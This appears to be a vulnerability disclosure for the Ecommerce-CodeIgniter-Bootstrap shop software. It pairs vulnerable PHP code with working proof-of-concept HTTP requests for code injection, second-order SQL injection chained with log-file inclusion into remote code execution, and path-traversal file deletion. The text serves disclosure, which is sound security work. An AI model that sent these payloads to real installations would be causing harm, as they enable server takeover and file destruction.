vendor: kirilkirkov/Ecommerce-CodeIgniter-Bootstrap (github.com)

version: before Vulnerability fixes from Lion Tree ยท kirilkirkov/Ecommerce-CodeIgniter-Bootstrap@d22b54e (github.com)

Code Injection

A code injection(CWE-94) vulnerability is in application/modules/admin/controllers/advanced_settings/Languages.php. In the saveLanguageFiles method, the element of $_POST['php_keys'] is escaped by htmlentities and enclosed in two single quotes as the key of $lang. However, htmlentities doesn't escape ' , which allows the attacker to escape from single quotes and inject malicious PHP code, leading to authenticated remote code execution.

private function saveLanguageFiles() { $i = 0; $prevFile = 'none'; $phpFileInclude = "<?php \n"; foreach ($_POST['php_files'] as $phpFile) { if ($phpFile != $prevFile && $i > 0) { savefile($prevFile, $phpFileInclude); $phpFileInclude = "<?php \n"; } $php_value = str_replace("'", '&#39;', $_POST['php_values'][$i]); $php_value = str_replace('"', '&#34;', $php_value); $phpFileInclude .= '$lang[\'' . htmlentities($_POST['php_keys'][$i]) . '\'] = \'' . $php_value . '\';' . "\n"; $prevFile = $phpFile; $i++; } savefile($phpFile, $phpFileInclude); ......
function savefile($file, $info) { $file = fopen($file, "w"); fwrite($file, $info); fclose($file); }

The steps to reproduce are as follows:

POST /Ecommerce-CodeIgniter-Bootstrap/admin/languages/?editLang=english HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 39539 Origin: http://localhost Connection: close Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/languages/?editLang=english Cookie: ci_session=s42mnne1b8qtto2hfi675l8ej6a34me2 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 goDaddyGo=&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D='.phpinfo().'&php_values%5B%5D=Home&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=production&php_values%5B%5D=Production&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=pass_change&php_values%5B%5D=Pass+Change&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=security&php_values%5B%5D=Security&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=changed&php_values%5B%5D=Changed&php_files%5B%5D=application%5Clanguage%5Cenglish%5Cadmin_lang.php&php_keys%5B%5D=change_my_password ......

The application/language/english/admin_lang.php will be:

<?php $lang[''.phpinfo().''] = 'Home'; $lang['production'] = 'Production'; ......

visit http://localhost/Ecommerce-CodeIgniter-Bootstrap/index.php/admin/languages again and phpinfo() will be executed.

File Inclusion && Second-Order SQL Injection

A file inclusion(CWE-98) vulnerability is in application/modules/admin/controllers/advanced_settings/Languages.php and a second-order SQL injection vulnerability is in application/modules/admin/models/Orders_model.php. The combination of these two vulnerabilities will result in authenticated remote code execution.

Second-Order SQL Injection

This vulnerability is in manageQuantitiesAndProcurement method of application/modules/admin/models/Orders_model.php. The $product['product_quantity'] and $product['product_info']['id'] are inserted into SQL statements without any sanitizers. These two values come from previous query result and users can control them in setOrder method of application/models/Public_model.php, which leads to a SQL injection.

private function manageQuantitiesAndProcurement($id, $to_status, $current) { if (($to_status == 0 || $to_status == 2) && $current == 1) { $operator = '+'; $operator_pro = '-'; } if ($to_status == 1) { $operator = '-'; $operator_pro = '+'; } $this->db->select('products'); $this->db->where('id', $id); $result = $this->db->get('orders'); $arr = $result->row_array(); $products = unserialize($arr['products']); foreach ($products as $product) { if (isset($operator)) { if (!$this->db->query('UPDATE products SET quantity=quantity' . $operator . $product['product_quantity'] . ' WHERE id = ' . $product['product_info']['id'])) { log_message('error', print_r($this->db->error(), true)); show_error(lang('database_error')); } } if (isset($operator_pro)) { if (!$this->db->query('UPDATE products SET procurement=procurement' . $operator_pro . $product['product_quantity'] . ' WHERE id = ' . $product['product_info']['id'])) { log_message('error', print_r($this->db->error(), true)); show_error(lang('database_error')); } } } }
public function setOrder($post) { $q = $this->db->query('SELECT MAX(order_id) as order_id FROM orders'); $rr = $q->row_array(); if ($rr['order_id'] == 0) { $rr['order_id'] = 1233; } $post['order_id'] = $rr['order_id'] + 1; $i = 0; $post['products'] = array(); foreach ($post['id'] as $product) { $post['products'][$product] = $post['quantity'][$i]; $i++; } unset($post['id'], $post['quantity']); $post['date'] = time(); $products_to_order = []; if(!empty($post['products'])) { foreach($post['products'] as $pr_id => $pr_qua) { $products_to_order[] = [ 'product_info' => $this->getOneProductForSerialize($pr_id), 'product_quantity' => $pr_qua ]; } } $post['products'] = serialize($products_to_order); $this->db->trans_begin(); if (!$this->db->insert('orders', array( 'order_id' => $post['order_id'], 'products' => $post['products'], 'date' => $post['date'], 'referrer' => $post['referrer'], 'clean_referrer' => $post['clean_referrer'], 'payment_type' => $post['payment_type'], 'paypal_status' => @$post['paypal_status'], 'discount_code' => @$post['discountCode'], 'user_id' => $post['user_id'] ))) { log_message('error', print_r($this->db->error(), true)); } $lastId = $this->db->insert_id(); if (!$this->db->insert('orders_clients', array( 'for_id' => $lastId, 'first_name' => $this->encryption->encrypt($post['first_name']), 'last_name' => $this->encryption->encrypt($post['last_name']), 'email' => $this->encryption->encrypt($post['email']), 'phone' => $this->encryption->encrypt($post['phone']), 'address' => $this->encryption->encrypt($post['address']), 'city' => $this->encryption->encrypt($post['city']), 'post_code' => $this->encryption->encrypt($post['post_code']), 'notes' => $this->encryption->encrypt($post['notes']) ))) { log_message('error', print_r($this->db->error(), true)); } if ($this->db->trans_status() === FALSE) { $this->db->trans_rollback(); return false; } else { $this->db->trans_commit(); return $post['order_id']; } }

The steps to reproduce are as follows(Assuming there exists a product):

POST /Ecommerce-CodeIgniter-Bootstrap/checkout HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 257 Origin: http://localhost Connection: close Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/checkout Cookie: ci_session=pdjd6p7466aoamfqj94n5dlemovk8d52; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 payment_type=cashOnDelivery&first_name=test&last_name=test&email=test%40test.com&phone=123456&address=test&city=test&post_code=&notes=&discountCode=&id%5B%5D=2&quantity%5B%5D=<?php%20phpinfo();?>&final_amount=100.00&amount_currency=%E2%82%AC&discountAmount=

POST /Ecommerce-CodeIgniter-Bootstrap/admin/changeOrdersOrderStatus HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 948 Origin: http://localhost Connection: close Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/orders Cookie: ci_session=uorgo8vkqc9u130ejr3bueljd3kaai3v; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin the_id=8&to_status=1&products=a%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A12%3A%22product_info%22%3Ba%3A17%3A%7Bs%3A11%3A%22vendor_name%22%3BN%3Bs%3A9%3A%22vendor_id%22%3Bs%3A1%3A%220%22%3Bs%3A2%3A%22id%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22folder%22%3Bs%3A10%3A%221704214075%22%3Bs%3A5%3A%22image%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22time%22%3Bs%3A10%3A%221704214090%22%3Bs%3A11%3A%22time_update%22%3Bs%3A1%3A%220%22%3Bs%3A10%3A%22visibility%22%3Bs%3A1%3A%221%22%3Bs%3A14%3A%22shop_categorie%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22quantity%22%3Bs%3A5%3A%2210000%22%3Bs%3A11%3A%22procurement%22%3Bs%3A1%3A%220%22%3Bs%3A9%3A%22in_slider%22%3Bs%3A1%3A%220%22%3Bs%3A3%3A%22url%22%3Bs%3A6%3A%22test_2%22%3Bs%3A16%3A%22virtual_products%22%3BN%3Bs%3A8%3A%22brand_id%22%3BN%3Bs%3A8%3A%22position%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22price%22%3Bs%3A3%3A%22100%22%3B%7Ds%3A16%3A%22product_quantity%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo()%3B%3F%3E%22%3B%7D%7D&userEmail=test%40test.com

In application/logs/log-xxxx.php, error message of SQL query will appear, which illustrates the presence of SQL injection.

<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?> ...... ERROR - 2024-01-03 01:24:45 --> Query error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<?php phpinfo();?> WHERE id = 2' at line 1 - Invalid query: UPDATE products SET quantity=quantity-<?php phpinfo();?> WHERE id = 2

File Inclusion

This vulnerability is in getLangFolderForEdit method of application/modules/admin/controllers/advanced_settings/Languages.php. By controlling $_GET['editLang'], the attacker can make the server include .php files under specific directory. The attacker can use previous SQL injection vulnerability to write malicous PHP code in log-xxxx.php and use this vulnerability to include PHP files under application/logs/ (At this point, BASEPATH has been set, allowing bypass of the check at the beginning of the log file.), which leads to remote code execution.

private function getLangFolderForEdit() { $langFiles = array(); $files = rreadDir('application' . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR . '' . $_GET['editLang'] . DIRECTORY_SEPARATOR); $arrPhpFiles = $arrJsFiles = array(); foreach ($files as $ext => $filesLang) { foreach ($filesLang as $fileLang) { if ($ext == 'php') { require $fileLang; if (isset($lang)) { $arrPhpFiles[$fileLang] = $lang; unset($lang); } } if ($ext == 'js') { $jsTrans = file_get_contents($fileLang); preg_match_all('/(.+?)"(.+?)"/', $jsTrans, $PMA); $arrJsFiles[$fileLang] = $PMA; unset($PMA); } } } $langFiles[0] = $arrPhpFiles; $langFiles[1] = $arrJsFiles; return $langFiles; }
if (isset($_GET['editLang'])) { $num = $this->Languages_model->countLangs($_GET['editLang']); if ($num == 0) { redirect('admin/languages'); } $langFiles = $this->getLangFolderForEdit(); }
public function countLangs($name = null, $abbr = null) { if ($name != null) { $this->db->where('name', $name); } if ($abbr != null) { $this->db->or_where('abbr', $abbr); } return $this->db->count_all_results('languages'); }

The steps to reproduce are as follows:

GET /Ecommerce-CodeIgniter-Bootstrap/admin/languages/?editLang=../logs HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/languages Cookie: ci_session=inm96ingrq5a7murjrsmvjc7o7ke83jg; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1

Arbitrary File Deletion

An arbitrary file deletion (CWE-73) vulnerability is in application/modules/admin/controllers/ecommerce/Publish.php. In the method removeSecondaryImage, the attacker can delete any file in the server by controlling $_POST['folder'] and $_POST['image'] after authorization.

public function removeSecondaryImage() { if ($this->input->is_ajax_request()) { $img = '.' . DIRECTORY_SEPARATOR . 'attachments' . DIRECTORY_SEPARATOR . 'shop_images' . DIRECTORY_SEPARATOR . '' . $_POST['folder'] . DIRECTORY_SEPARATOR . $_POST['image']; unlink($img); } }
POST /Ecommerce-CodeIgniter-Bootstrap/admin/removeSecondaryImage HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 31 Origin: http://localhost Connection: close Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/publish Cookie: ci_session=8qfeq95l0u1nfjpj6clgr5p976m7igkh; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin image=README.md&folder=../../